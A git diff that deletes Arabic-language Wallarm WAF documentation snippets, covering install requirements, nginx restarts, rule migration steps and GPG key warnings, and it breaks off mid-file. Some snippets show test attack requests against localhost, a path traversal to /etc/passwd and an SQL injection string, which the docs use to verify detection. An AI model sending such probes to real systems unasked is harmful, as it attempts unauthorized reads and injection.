b/include-ar/waf/installation/sending-traffic-to-node-oob.md deleted file mode 100644 index c1e63681dd..0000000000 --- a/include-ar/waf/installation/sending-traffic-to-node-oob.md +++ /dev/null @@ -1,3 +0,0 @@ -قُم بتهيئة بيئتك لتعكس حركة المرور الواردة إلى نموذج مع عقدة Wallarm التي تقوم بنشرها. للحصول على تفاصيل التكوين، نوصي بالرجوع إلى الوثائق الخاصة بالحل الذي ستستخدمه لإنتاج مرآة حركة المرور (خادم ويب، خادم وكيل، إلخ). - -داخل ال[رابط][web-server-mirroring-examples]، ستجد تكوين الأمثلة لـ NGINX، Traefik، Envoy. \ No newline at end of file diff --git a/include-ar/waf/installation/sidecar-proxy-reqs.md b/include-ar/waf/installation/sidecar-proxy-reqs.md deleted file mode 100644 index 71ad322531..0000000000 --- a/include-ar/waf/installation/sidecar-proxy-reqs.md +++ /dev/null @@ -1,10 +0,0 @@ -* إصدار منصة Kubernetes 1.19-1.29 -* [مدير الحزم Helm v3](https://helm.sh/) -* تطبيق مُنشر كـ Pod في مجمع Kubernetes -* الوصول إلى `https://us1.api.wallarm.com` للعمل مع سحابة Wallarm الأمريكية أو إلى `https://api.wallarm.com` للعمل مع سحابة Wallarm الأوروبية -* الوصول إلى `https://charts.wallarm.com` لإضافة مخططات Helm الخاصة بـWallarm -* الوصول إلى مستودعات Wallarm على Docker Hub `https://hub.docker.com/r/wallarm` -* Access to the IP addresses below for downloading updates to attack detection rules, as well as retrieving precise IPs for your allowlisted, denylisted, or graylisted countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" -* الوصول إلى الحساب بدور **المدير** في واجهة Wallarm لـ[سحابة الولايات المتحدة](https://us1.my.wallarm.com/) أو [سحابة الاتحاد الأوروبي](https://my.wallarm.com/) \ No newline at end of file diff --git a/include-ar/waf/installation/test-after-node-type-upgrade.md b/include-ar/waf/installation/test-after-node-type-upgrade.md deleted file mode 100644 index 2a2a89eca6..0000000000 --- a/include-ar/waf/installation/test-after-node-type-upgrade.md +++ /dev/null @@ -1,15 +0,0 @@ -1. أرسل الطلب مع هجوم اختبار [اختراق المسار](ptrav-attack-docs) إلى عنوان التطبيق: - - ``` - curl http://localhost/etc/passwd - ``` -1. تأكد أن العقدة من النوع الجديد تعالج الطلب بنفس الطريقة كما فعلت العقدة **العادية**، على سبيل المثال: - - * تحظر الطلب إذا تم تكوين [وضع التصفية](waf-mode-instr) المناسب. - * تعيد [صفحة الحظر المخصصة](blocking-page-instr) إذا تم تكوينها. -2. افتح واجهة مستخدم Wallarm → **الهجمات** في [السحابة الأوروبية](https://my.wallarm.com/attacks) أو [السحابة الأمريكية](https://us1.my.wallarm.com/attacks) وتأكد من: - - * إظهار الهجوم في القائمة. - * تفاصيل الضربة تعرض UUID عقدة Wallarm. - - ![الهجمات في الواجهة](attacks-in-ui-image) \ No newline at end of file diff --git a/include-ar/waf/installation/test-waf-operation-no-stats-for-deprecated.md b/include-ar/waf/installation/test-waf-operation-no-stats-for-deprecated.md deleted file mode 100644 index d3d41cd37a..0000000000 --- a/include-ar/waf/installation/test-waf-operation-no-stats-for-deprecated.md +++ /dev/null @@ -1,7 +0,0 @@ -1. أرسل الطلب مع اختبار هجمات [SQLI][sqli-attack-docs] و[XSS][xss-attack-docs] إلى عنوان المورد المحمي: - - ``` - curl http://localhost/?id='or+1=1--a-' - ``` -2. افتح واجهة Wallarm → قسم **الهجمات** في [السحابة الأمريكية](https://us1.my.wallarm.com/attacks) أو [السحابة الأوروبية](https://my.wallarm.com/attacks) وتأكد من عرض الهجمات في القائمة. - ![الهجمات في الواجهة][attacks-in-ui-image] \ No newline at end of file diff --git a/include-ar/waf/installation/test-waf-operation-no-stats.md b/include-ar/waf/installation/test-waf-operation-no-stats.md deleted file mode 100644 index 7b8976170a..0000000000 --- a/include-ar/waf/installation/test-waf-operation-no-stats.md +++ /dev/null @@ -1,7 +0,0 @@ -1. أرسل الطلب مع هجوم [اختراق مسار][ptrav-attack-docs] لعنوان المورد المحمي: - - ``` - curl http://localhost/etc/passwd - ``` -2. افتح واجهة Wallarm → قسم **الهجمات** في [السحابة الأمريكية](https://us1.my.wallarm.com/attacks) أو [السحابة الأوروبية](https://my.wallarm.com/attacks) وتأكد من ظهور الهجوم في القائمة. - ![الهجمات في الواجهة][attacks-in-ui-image] \ No newline at end of file diff --git a/include-ar/waf/installation/upgrade-methods.md b/include-ar/waf/installation/upgrade-methods.md deleted file mode 100644 index bc583d80ab..0000000000 --- a/include-ar/waf/installation/upgrade-methods.md +++ /dev/null @@ -1,4 +0,0 @@ -يمكنك الترقية بطريقتين مختلفتين: - -* الترحيل إلى استخدام [المثبت الشامل](#upgrade-with-all-in-one-installer) خلال عملية الترقية. هذا هو النهج الموصى به حيث يقوم بتشغيل العديد من أنشطة تثبيت وترقية العقدة تلقائيًا، مثل تحديد إصدار NGINX والنظام تلقائيًا، وإضافة مستودعات Wallarm المناسبة، وتثبيت الحزم، وغيرها. -* الاستمرار في استخدام طريقة التثبيت [اليدوية](#manual-upgrade) الحالية من خلال حزم DEB/RPM الفردية. ومع ذلك، من المهم ملاحظة أنه في الترقيات المستقبلية ستتطلب هذه الطريقة جهدًا إضافيًا وتكوينًا يدويًا مقارنة بالطريقة الجديدة. \ No newline at end of file diff --git a/include-ar/waf/restart-nginx-2.16.md b/include-ar/waf/restart-nginx-2.16.md deleted file mode 100644 index 88cd7ad2eb..0000000000 --- a/include-ar/waf/restart-nginx-2.16.md +++ /dev/null @@ -1,12 +0,0 @@ -=== "ديبيان" - ```bash - sudo systemctl restart nginx - ``` -=== "أوبونتو" - ```bash - sudo service nginx restart - ``` -=== "سنت أو إس أو أمازون لينكس 2.0.2021 وما دون" - ```bash - sudo systemctl restart nginx - ``` \ No newline at end of file diff --git a/include-ar/waf/restart-nginx-3.6.md b/include-ar/waf/restart-nginx-3.6.md deleted file mode 100644 index 8f119014af..0000000000 --- a/include-ar/waf/restart-nginx-3.6.md +++ /dev/null @@ -1,16 +0,0 @@ -=== "ديبيان" - ```bash - sudo systemctl restart nginx - ``` -=== "أوبونتو" - ```bash - sudo service nginx restart - ``` -=== "سنت أو إس أو أمازون لينكس 2.0.2021 وما دون" - ```bash - sudo systemctl restart nginx - ``` -=== "ألما لينكس، روكي لينكس أو أوراكل لينكس 8.x" - ```bash - sudo systemctl restart nginx - ``` \ No newline at end of file diff --git a/include-ar/waf/restart-nginx-4.4-and-above.md b/include-ar/waf/restart-nginx-4.4-and-above.md deleted file mode 100644 index 10bc89008b..0000000000 --- a/include-ar/waf/restart-nginx-4.4-and-above.md +++ /dev/null @@ -1,20 +0,0 @@ -=== "ديبيان" - ```bash - sudo systemctl restart nginx - ``` -=== "أوبونتو" - ```bash - sudo service nginx restart - ``` -=== "سينتوس أو أمازون لينكس 2.0.2021 وما دون" - ```bash - sudo systemctl restart nginx - ``` -=== "ألما لينكس، روكي لينكس أو أوراكل لينكس 8.x" - ```bash - sudo systemctl restart nginx - ``` -=== "RHEL 8.x" - ```bash - sudo systemctl restart nginx - ``` \ No newline at end of file diff --git a/include-ar/waf/restart-nginx-4.4.md b/include-ar/waf/restart-nginx-4.4.md deleted file mode 100644 index 10bc89008b..0000000000 --- a/include-ar/waf/restart-nginx-4.4.md +++ /dev/null @@ -1,20 +0,0 @@ -=== "ديبيان" - ```bash - sudo systemctl restart nginx - ``` -=== "أوبونتو" - ```bash - sudo service nginx restart - ``` -=== "سينتوس أو أمازون لينكس 2.0.2021 وما دون" - ```bash - sudo systemctl restart nginx - ``` -=== "ألما لينكس، روكي لينكس أو أوراكل لينكس 8.x" - ```bash - sudo systemctl restart nginx - ``` -=== "RHEL 8.x" - ```bash - sudo systemctl restart nginx - ``` \ No newline at end of file diff --git a/include-ar/waf/root_perm_info.md b/include-ar/waf/root_perm_info.md deleted file mode 100644 index 24e578301b..0000000000 --- a/include-ar/waf/root_perm_info.md +++ /dev/null @@ -1,8 +0,0 @@ -!!! info "منح المستخدم صلاحيات `root`" - إذا كنت تشغل NGINX بمستخدم لا يمتلك صلاحيات `root`، فأضف هذا المستخدم إلى مجموعة `wallarm` باستخدام الأمر التالي: - - ``` - usermod -aG wallarm ; - ``` - - حيث `` هو اسم المستخدم الذي لا يمتلك صلاحيات `root`. \ No newline at end of file diff --git a/include-ar/waf/upgrade/api-port-443.md b/include-ar/waf/upgrade/api-port-443.md deleted file mode 100644 index 75772c91c7..0000000000 --- a/include-ar/waf/upgrade/api-port-443.md +++ /dev/null @@ -1,5 +0,0 @@ -ابتداءً من الإصدار 4.0، يقوم عقد التصفية برفع البيانات إلى السحاب باستخدام نقاط النهاية لواجهة برمجة التطبيقات `us1.api.wallarm.com:443` (سحابة الولايات المتحدة) و`api.wallarm.com:443` (سحابة الاتحاد الأوروبي) بدلاً من `us1.api.wallarm.com:444` و`api.wallarm.com:444`. - -إذا قمت بترقية العقدة من الإصدار 3.x أو أقل وكان الخادم الذي نشرت عليه العقدة يمتلك وصولاً محدودًا للموارد الخارجية ويتم منح الوصول لكل مورد على حدة، فإن التزامن بين عقدة التصفية والسحاب سيتوقف بعد الترقية. - -لإعادة تفعيل التزامن، غير في تكوينك المنفذ `444` إلى `443` لنقطة نهاية واجهة برمجة التطبيقات لكل مورد. \ No newline at end of file diff --git a/include-ar/waf/upgrade/details-about-dist-upgrade.md b/include-ar/waf/upgrade/details-about-dist-upgrade.md deleted file mode 100644 index 6c1dba7b5c..0000000000 --- a/include-ar/waf/upgrade/details-about-dist-upgrade.md +++ /dev/null @@ -1,2 +0,0 @@ -!!! info "تحديث التبعيات الخاصة بـWallarm" - تقوم الأمر `sudo apt dist-upgrade` بتحديث كلٍ من حزم Wallarm وتبعيات عقدة التصفية. وهي الخيار الموصى به للتحديث، مما يضمن العمل الصحيح لنسخة عقدة التصفية الأحدث. \ No newline at end of file diff --git a/include-ar/waf/upgrade/migrate-to-overlimit-rule-docker.md b/include-ar/waf/upgrade/migrate-to-overlimit-rule-docker.md deleted file mode 100644 index 5b45844a8d..0000000000 --- a/include-ar/waf/upgrade/migrate-to-overlimit-rule-docker.md +++ /dev/null @@ -1,41 +0,0 @@ -ابتداءً من الإصدار 3.6، يمكنك تعديل إعدادات كشف الهجمات `overlimit_res` باستخدام القاعدة في لوحة تحكم Wallarm. - -سابقًا، كانت الخيارات التالية مستخدمة: - -* الأوامر [`wallarm_process_time_limit`][nginx-process-time-limit-docs] و[`wallarm_process_time_limit_block`][nginx-process-time-limit-block-docs] لـ NGINX -* المعاملات [`process_time_limit`][envoy-process-time-limit-docs] و[`process_time_limit_block`][envoy-process-time-limit-block-docs] لـ Envoy - -تُعد الأوامر والمعاملات المذكورة قديمةً مع إصدار القاعدة الجديدة وستُحذف في الإصدارات المستقبلية. - -إذا تم تخصيص إعدادات كشف هجمات `overlimit_res` عبر المعاملات المذكورة، يُنصح بنقلها إلى القاعدة كما يلي: - -1. افتح لوحة تحكم Wallarm → **القواعد** وتابع إلى إعداد قاعدة [**تعديل كشف هجمات overlimit_res**][overlimit-res-rule-docs]. -1. قم بتكوين القاعدة كما في ملفات الإعداد المركبة: - - * يجب أن تطابق شرط القاعدة كتلة الإعداد في NGINX أو Envoy مع الأوامر `wallarm_process_time_limit` و`wallarm_process_time_limit_block` أو المعاملات `process_time_limit` و`process_time_limit_block` المحددة. - * الحد الزمني للعقدة لمعالجة طلب واحد (بالمللي ثانية): قيمة `wallarm_process_time_limit` أو `process_time_limit`. - * معالجة الطلب: يُنصح بخيار **إيقاف المعالجة**. - - !!! تحذير "خطر نفاد ذاكرة النظام" - قد يؤدي الحد الزمني العالي و/أو استمرار معالجة الطلب بعد تجاوز الحد إلى استنفاد الذاكرة أو معالجة الطلب خارج الوقت. - - * تسجيل هجمة overlimit_res: يُنصح بخيار **تسجيل وعرض في الأحداث**. - - إذا كانت قيمة `wallarm_process_time_limit_block` أو `process_time_limit_block` هي `off`، اختر خيار **عدم إنشاء حدث هجمة**. - - * القاعدة ليس لها خيار مُساوٍ صريح للأمر `wallarm_process_time_limit_block` (`process_time_limit_block` في Envoy). إذا تم ضبط القاعدة على **تسجيل وعرض في الأحداث**، فإن العقدة ستمنع أو تسمح بمرور هجمة `overlimit_res` بناءً على [وضع ترشيح العقدة][waf-mode-instr]: - - * في وضع **المراقبة**، العقدة توجه الطلب الأصلي إلى عنوان التطبيق. التطبيق معرض للخطر ليتم استغلاله بواسطة الهجمات المتضمنة في أجزاء الطلب المعالجة وغير المعالجة. - * في وضع **الحظر الآمن**، العقدة تمنع الطلب إذا كان مصدره من عنوان IP مدرج في [القائمة الرمادية][graylist-docs]. خلاف ذلك، العقدة توجه الطلب الأصلي إلى عنوان التطبيق. التطبيق معرض للخطر ليتم استغلاله بواسطة الهجمات المتضمنة في أجزاء الطلب المعالجة وغير المعالجة. - * في وضع **الحظر**، العقدة تمنع الطلب. -1. احذف الأوامر `wallarm_process_time_limit`, `wallarm_process_time_limit_block` لـ NGINX والمعاملات `process_time_limit`, `process_time_limit_block` لـ Envoy من ملف الإعداد المركب. - - إذا تم تعديل كشف هجمات `overlimit_res` باستخدام كلٍ من المعاملات والقاعدة، فإن العقدة ستعالج الطلبات كما تحدد القاعدة. - -[nginx-process-time-limit-docs]: https://docs.wallarm.com/nginx/directives/wallarm_process_time_limit/ -[nginx-process-time-limit-block-docs]: https://docs.wallarm.com/nginx/directives/wallarm_process_time_limit_block/ -[envoy-process-time-limit-docs]: https://docs.wallarm.com/envoy/parameters/process_time_limit/ -[envoy-process-time-limit-block-docs]: https://docs.wallarm.com/envoy/parameters/process_time_limit_block/ -[overlimit-res-rule-docs]: https://docs.wallarm.com/rules/overlimit_res-attack-detection/ -[waf-mode-instr]: https://docs.wallarm.com/node-modes/ -[graylist-docs]: https://docs.wallarm.com/list-management/graylist/ \ No newline at end of file diff --git a/include-ar/waf/upgrade/migrate-to-overlimit-rule-ingress-controller.md b/include-ar/waf/upgrade/migrate-to-overlimit-rule-ingress-controller.md deleted file mode 100644 index d98f931206..0000000000 --- a/include-ar/waf/upgrade/migrate-to-overlimit-rule-ingress-controller.md +++ /dev/null @@ -1,34 +0,0 @@ -ابتداءً من الإصدار 3.6، يمكن تعديل دقيق لكشف هجمات `overlimit_res` باستخدام القاعدة في لوحة تحكم Wallarm. - -في وقت سابق، كانت تُستخدم التوجيهات [`wallarm_process_time_limit`][nginx-process-time-limit-docs] و[`wallarm_process_time_limit_block`][nginx-process-time-limit-block-docs] الخاصة بـ NGINX. تُعتبر هذه التوجيهات قديمة مع إصدار القاعدة الجديد وسيتم حذفها في الإصدارات المستقبلية. - -إذا تم تخصيص إعدادات كشف هجمات `overlimit_res` عن طريق التوجيهات المذكورة، يُنصح بنقلها إلى القاعدة كما يلي: - -1. افتح لوحة تحكم Wallarm → **القواعد** وتابع إلى إعداد قاعدة [**تعديل دقيق لكشف هجمات overlimit_res**][overlimit-res-rule-docs]. -1. قم بتكوين القاعدة كما تم عبر التوجيهات NGINX: - - * يجب أن تطابق شرط القاعدة كتلة تكوين NGINX مع التوجيهات `wallarm_process_time_limit` و`wallarm_process_time_limit_block` المحددة. - * الحد الزمني للعقدة لمعالجة طلب واحد (بالميلي ثانية): قيمة `wallarm_process_time_limit`. - * معالجة الطلب: يُوصى باختيار خيار **إيقاف المعالجة**. - - !!! تحذير "خطر نفاد ذاكرة النظام" - يمكن أن يؤدي الحد الزمني العالي و/أو استمرار معالجة الطلب بعد تجاوز الحد إلى استنفاد الذاكرة أو معالجة الطلب خارج الوقت المحدد. - - * تسجيل هجوم overlimit_res: يُوصى بخيار **تسجيل وعرض في الأحداث**. - - إذا كانت قيمة `wallarm_process_time_limit_block` أو `process_time_limit_block` هي `off`، اختر خيار **عدم إنشاء حدث هجوم**. - - * لا تمتلك القاعدة خيارًا صريحًا مكافئًا لتوجيه `wallarm_process_time_limit_block`. إذا ضبطت القاعدة على **تسجيل وعرض في الأحداث**، ستقوم العقدة إما بحظر هجوم `overlimit_res` أو تمريره بناءً على [وضع تصفية العقدة][waf-mode-instr]: - - * في وضع **المراقبة**، تقوم العقدة بتوجيه الطلب الأصلي إلى عنوان التطبيق. للتطبيق خطر التعرض للاستغلال من قبل الهجمات المتضمنة في أجزاء الطلب المعالجة وغير المعالجة. - * في وضع **الحظر الآمن**، تقوم العقدة بحظر الطلب إذا كان مصدره من عنوان IP في [القائمة الرمادية][graylist-docs]. وإلا، تقوم العقدة بتوجيه الطلب الأصلي إلى عنوان التطبيق. للتطبيق خطر التعرض للاستغلال من قبل الهجمات المتضمنة في أجزاء الطلب المعالجة وغير المعالجة. - * في وضع **الحظر**، تقوم العقدة بحظر الطلب. -1. احذف التوجيهات `wallarm_process_time_limit` و`wallarm_process_time_limit_block` من ملف تكوين `values.yaml`. - - إذا تم تعديل دقيق لكشف هجوم `overlimit_res` باستخدام كل من التوجيهات والقاعدة، ستعالج العقدة الطلبات كما تضبط القاعدة. - -[nginx-process-time-limit-docs]: https://docs.wallarm.com/admin-en/configuration-guides/nginx/directives/wallarm_process_time_limit/ -[nginx-process-time-limit-block-docs]: https://docs.wallarm.com/admin-en/configuration-guides/nginx/directives/wallarm_process_time_limit_block/ -[overlimit-res-rule-docs]: https://docs.wallarm.com/user-guides/rules/overlimit-res-rule-setup/ -[waf-mode-instr]: https://docs.wallarm.com/admin-en/configuration-guides/configure-block-page/ -[graylist-docs]: https://docs.wallarm.com/user-guides/ip-lists/graylist/ \ No newline at end of file diff --git a/include-ar/waf/upgrade/migrate-to-overlimit-rule-nginx.md b/include-ar/waf/upgrade/migrate-to-overlimit-rule-nginx.md deleted file mode 100644 index eeb40bdd2f..0000000000 --- a/include-ar/waf/upgrade/migrate-to-overlimit-rule-nginx.md +++ /dev/null @@ -1,34 +0,0 @@ -ابتداءً من الإصدار 3.6، يمكنك ضبط كشف الهجوم `overlimit_res` باستخدام القاعدة في واجهة Wallarm. - -من قبل، تم استخدام توجيهات NGINX [`wallarm_process_time_limit`][nginx-process-time-limit-docs] و[`wallarm_process_time_limit_block`][nginx-process-time-limit-block-docs]. تُعتبر التوجيهات المذكورة قديمة مع إصدار القاعدة الجديدة وسوف تحذف في الإصدارات المستقبلية. - -إذا تم تخصيص إعدادات كشف الهجوم `overlimit_res` عبر التوجيهات المذكورة، يُوصى بنقلها إلى القاعدة كما يلي: - -1. افتح واجهة Wallarm Console → **القواعد** وتابع إلى إعداد قاعدة [**ضبط كشف الهجوم overlimit_res**][overlimit-res-rule-docs]. -1. قم بتكوين القاعدة كما تم عبر التوجيهات NGINX: - - * يجب أن تتطابق شروط القاعدة مع كتلة تكوين NGINX التي تحدد التوجيهات `wallarm_process_time_limit` و`wallarm_process_time_limit_block`. - * حد زمني للعقدة لمعالجة طلب واحد (بالمللي ثانية): قيمة `wallarm_process_time_limit`. - * معالجة الطلب: يوصى بخيار **وقف المعالجة**. - - !!! تحذير "خطر نفاد ذاكرة النظام" - الحد الزمني المرتفع و/أو استمرار معالجة الطلب بعد تجاوز الحد يمكن أن يؤدي إلى استنفاد الذاكرة أو معالجة الطلب خارج الوقت. - - * تسجيل هجوم overlimit_res: يوصى بخيار **تسجيل وعرض في الأحداث**. - - إذا كانت قيمة `wallarm_process_time_limit_block` أو `process_time_limit_block` هي `off`، اختر خيار **لا تقم بإنشاء حدث هجوم**. - - * لا تمتلك القاعدة خيارًا صريحًا مكافئًا لتوجيه `wallarm_process_time_limit_block`. إذا قامت القاعدة بتعيين **تسجيل وعرض في الأحداث**، فإن العقدة إما ستحجب أو تمرر هجوم `overlimit_res` وفقًا ل[وضع تصفية العقدة][waf-mode-instr]: - - * في وضع **المراقبة**، ترسل العقدة الطلب الأصلي إلى عنوان التطبيق. للتطبيق خطر أن يتم استغلاله بواسطة الهجمات المضمنة في أجزاء الطلب المعالجة وغير المعالجة. - * في وضع **الحجب الآمن**، تحجب العقدة الطلب إذا كان مصدره من عنوان IP [مدرج بالقائمة الرمادية][graylist-docs]. وإلا، ترسل العقدة الطلب الأصلي إلى عنوان التطبيق. للتطبيق خطر أن يتم استغلاله بواسطة الهجمات المضمنة في أجزاء الطلب المعالجة وغير المعالجة. - * في وضع **الحجب**، تحجب العقدة الطلب. -1. حذف التوجيهات `wallarm_process_time_limit` و`wallarm_process_time_limit_block` من ملف تكوين NGINX. - - إذا تم ضبط كشف الهجوم `overlimit_res` باستخدام كل من التوجيهات والقاعدة، ستعالج العقدة الطلبات كما تحدد القاعدة. - -[nginx-process-time-limit-docs]: https://docs.wallarm.com/admin-en/configuration-guides/nginx/directives/wallarm_process_time_limit/ -[nginx-process-time-limit-block-docs]: https://docs.wallarm.com/admin-en/configuration-guides/nginx/directives/wallarm_process_time_limit_block/ -[overlimit-res-rule-docs]: https://docs.wallarm.com/user-guides/rules/overlimit-res-attack-detection.html -[waf-mode-instr]: https://docs.wallarm.com/admin-en/configuration-guides/manage-detection-mode/ -[graylist-docs]: https://docs.wallarm.com/user-guides/ip-lists/graylist.html \ No newline at end of file diff --git a/include-ar/waf/upgrade/warning-deprecated-version-upgrade-instructions.md b/include-ar/waf/upgrade/warning-deprecated-version-upgrade-instructions.md deleted file mode 100644 index f77ca9d52f..0000000000 --- a/include-ar/waf/upgrade/warning-deprecated-version-upgrade-instructions.md +++ /dev/null @@ -1,4 +0,0 @@ -!!! warning "لا يدعم العقد Wallarm 3.6 والإصدارات الأقل" - يُنصح بترقية عقد Wallarm 3.6 والإصدارات الأقل لأن هذه الإصدارات [غير مدعومة، إذ هي في نهاية عمرها الافتراضي](../versioning-policy.md#version-list). - - تم تبسيط تكوين العقد وتصفية الحركة بشكل كبير في عقد Wallarm الإصدارات الحديثة. قبل ترقية الوحدات، يُرجى مراجعة [قائمة التغييرات](what-is-new.md) و[التوصيات العامة](../general-recommendations.md) بعناية. يرجى ملاحظة أن بعض الإعدادات في العقدة الأحدث **غير متوافقة** مع العقد 3.6 والإصدارات الأقل. \ No newline at end of file diff --git a/include-ar/waf/upgrade/warning-expired-gpg-keys-4.0.md b/include-ar/waf/upgrade/warning-expired-gpg-keys-4.0.md deleted file mode 100644 index 150dcbe930..0000000000 --- a/include-ar/waf/upgrade/warning-expired-gpg-keys-4.0.md +++ /dev/null @@ -1,17 +0,0 @@ -!!! تحذير "خطأ "لا يمكن التحقق من التوقيعات - إذا انتهت صلاحية مفاتيح GPG المضافة، سيتم إرجاع الخطأ التالي: - - ``` - W: خطأ GPG: https://repo.wallarm.com/ubuntu/wallarm-node focal/4.0/ Release:لا يمكن التحقق من التوقيعات التالية لأن المفتاح العمومي غير متاح: NO_PUBKEY 1111FQQW999 - E: المستودع 'https://repo.wallarm.com/ubuntu/wallarm-node focal/4.0/ Release' غير موقع. - N: لا يمكن إجراء التحديث من مستودع كهذا بشكل آمن، ولذلك يتم تعطيله بشكل افتراضي. - N: انظر إلى صفحة الرجل apt-secure(8) لتفاصيل إنشاء المستودع وتكوين المستخدم. - ``` - - لحل المشكلة، يرجى استيراد مفاتيح GPG الجديدة لحزم Wallarm ومن ثم ترقية الحزم باستخدام الأوامر التالية: - - ``` - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sudo apt update - sudo apt dist-upgrade - ``` \ No newline at end of file diff --git a/include-ar/waf/upgrade/warning-expired-gpg-keys-4.2.md b/include-ar/waf/upgrade/warning-expired-gpg-keys-4.2.md deleted file mode 100644 index 0a04227cce..0000000000 --- a/include-ar/waf/upgrade/warning-expired-gpg-keys-4.2.md +++ /dev/null @@ -1,17 +0,0 @@ -!!! تحذير "الخطأ "لا يمكن التحقق من التواقيع" - إذا انتهت صلاحية مفاتيح GPG المضافة، سيتم إرجاع الخطأ التالي: - - ``` - W: خطأ GPG: https://repo.wallarm.com/ubuntu/wallarm-node focal/4.2/ الإصدار:لا يمكن التحقق من التواقيع التالية لأن المفتاح العام غير متوفر: NO_PUBKEY 1111FQQW999 - E: المستودع 'https://repo.wallarm.com/ubuntu/wallarm-node focal/4.2/ الإصدار' غير موقع. - N: لا يمكن القيام بالتحديث من مستودع كهذا بأمان، ولذلك يتم تعطيله بشكل افتراضي. - N: انظر إلى صفحة رجل apt-secure(8) لتفاصيل إنشاء المستودع وتكوين المستخدم. - ``` - - لحل المشكلة، يرجى استيراد مفاتيح GPG الجديدة لحزم Wallarm ثم تحديث الحزم باستخدام الأوامر التالية: - - ``` - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sudo apt update - sudo apt dist-upgrade - ``` \ No newline at end of file diff --git a/include-ar/waf/upgrade/warning-expired-gpg-keys-4.4.md b/include-ar/waf/upgrade/warning-expired-gpg-keys-4.4.md deleted file mode 100644 index eb155b6785..0000000000 --- a/include-ar/waf/upgrade/warning-expired-gpg-keys-4.4.md +++ /dev/null @@ -1,17 +0,0 @@ -!!! تحذير "خطأ ""لا يمكن التحقق من التواقيع""" - في حال انتهت صلاحية مفاتيح GPG المضافة، ستظهر الرسالة التالية: - - ``` - W: خطأ GPG: https://repo.wallarm.com/ubuntu/wallarm-node focal/4.4/ Release:لا يمكن التحقق من التواقيع التالية لأن المفتاح العمومي غير متاح: NO_PUBKEY 1111FQQW999 - E: المستودع 'https://repo.wallarm.com/ubuntu/wallarm-node focal/4.4/ Release' غير موقع. - N: لا يمكن تحديث من مستودع كهذا بأمان، ولذلك يتم تعطيله افتراضياً. - N: انظر صفحة الدليل apt-secure(8) للحصول على تفاصيل إنشاء المستودع وتكوين المستخدم. - ``` - - لحل المشكلة، يرجى استيراد مفاتيح GPG الجديدة لحزم Wallarm ثم ترقية الحزم باستخدام الأوامر التالية: - - ``` - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sudo apt update - sudo apt dist-upgrade - ``` \ No newline at end of file diff --git a/include-ar/waf/upgrade/warning-expired-gpg-keys-4.6.md b/include-ar/waf/upgrade/warning-expired-gpg-keys-4.6.md deleted file mode 100644 index 4fc28e1098..0000000000 --- a/include-ar/waf/upgrade/warning-expired-gpg-keys-4.6.md +++ /dev/null @@ -1,17 +0,0 @@ -!!! تحذير "خطأ "تعذر التحقق من التواقيع" - في حال كانت مفاتيح GPG المضافة قد انتهت صلاحيتها، سيرد الخطأ التالي: - - ``` - W: GPG error: https://repo.wallarm.com/ubuntu/wallarm-node focal/4.6/ Release: لا يمكن التحقق من التواقيع التالية لأن المفتاح العام غير متوفر: NO_PUBKEY 1111FQQW999 - E: المستودع 'https://repo.wallarm.com/ubuntu/wallarm-node focal/4.6/ Release' غير موقع. - N: لا يمكن إجراء التحديث من مثل هذا المستودع بأمان، ولذلك يتم تعطيلها بشكل افتراضي. - N: انظر إلى صفحة رجل apt-secure(8) لتفاصيل إنشاء المستودع وتكوين المستخدم. - ``` - - لإصلاح المشكلة، يرجى استيراد مفاتيح GPG الجديدة لحزم Wallarm ثم ترقية الحزم باستخدام الأوامر التالية: - - ``` - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sudo apt update - sudo apt dist-upgrade - ``` \ No newline at end of file diff --git a/include-ar/waf/upgrade/warning-expired-gpg-keys-4.8.md b/include-ar/waf/upgrade/warning-expired-gpg-keys-4.8.md deleted file mode 100644 index 8ef9dffe0c..0000000000 --- a/include-ar/waf/upgrade/warning-expired-gpg-keys-4.8.md +++ /dev/null @@ -1,17 +0,0 @@ -!!! تحذير "خطأ "لا يمكن التحقق من التواقيع" - في حال انتهت صلاحية مفاتيح GPG المضافة، ستُرجع الخطأ التالي: - - ``` - W: خطأ GPG: https://repo.wallarm.com/ubuntu/wallarm-node focal/4.8/ Release: لا يمكن التحقق من التواقيع التالية لأن المفتاح العام غير متوفر: NO_PUBKEY 1111FQQW999 - E: المستودع 'https://repo.wallarm.com/ubuntu/wallarm-node focal/4.8/ Release' غير موقع. - N: لا يمكن إجراء التحديث من مستودع كهذا بأمان، ولذا، يتم تعطيله بشكل افتراضي. - N: انظر صفحة الشرح apt-secure(8) لتفاصيل إنشاء المستودع وتكوين المستخدم. - ``` - - لحل المشكلة، يُرجى استيراد مفاتيح GPG الجديدة لحزم Wallarm ثم ترقية الحزم باستخدام الأوامر التالية: - - ``` - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sudo apt update - sudo apt dist-upgrade - ``` \ No newline at end of file diff --git a/include-ar/waf/upgrade/warning-node-types-upgrade-to-3.4.md b/include-ar/waf/upgrade/warning-node-types-upgrade-to-3.4.md deleted file mode 100644 index ae8ac70664..0000000000 --- a/include-ar/waf/upgrade/warning-node-types-upgrade-to-3.4.md +++ /dev/null @@ -1,3 +0,0 @@ -!!! تحذير "التغييرات الجذرية والتوصيات لتحديث أنواع العقد المختلفة" - * إذا كنت تقوم بتحديث عقدة Wallarm الإصدار 2.18 أو أقل، يُرجى ملاحظة أن الإصدار 3.x يحتوي على **تغييرات جذرية**. قبل تحديث الوحدات من الإصدار 2.18 وما دونه إلى الإصدار 3.4، يُرجى مراجعة قائمة [تغييرات عقدة Wallarm](what-is-new.md) بعناية والنظر في تغيير التكوين المحتمل. - * نوصي بتحديث كلا من العقد العادية (عقد العملاء) و[العقد متعددة المستأجرين](../installation/multi-tenant/overview.md) من الإصدار 3.2 أو أقل إلى الإصدار 3.4. يتيح ذلك البقاء مُحدثًا مع إصدارات Wallarm ويمنع [استهلاك وحدة التثبيت](versioning-policy.md#version-support). \ No newline at end of file diff --git a/include-ar/waf/upgrade/warning-node-types-upgrade-to-3.6.md b/include-ar/waf/upgrade/warning-node-types-upgrade-to-3.6.md deleted file mode 100644 index 3f3035bbd1..0000000000 --- a/include-ar/waf/upgrade/warning-node-types-upgrade-to-3.6.md +++ /dev/null @@ -1,3 +0,0 @@ -!!! warning "التغييرات المهمة والتوصيات لترقية أنواع العقد المختلفة" - * في حال كنت ترغب في ترقية 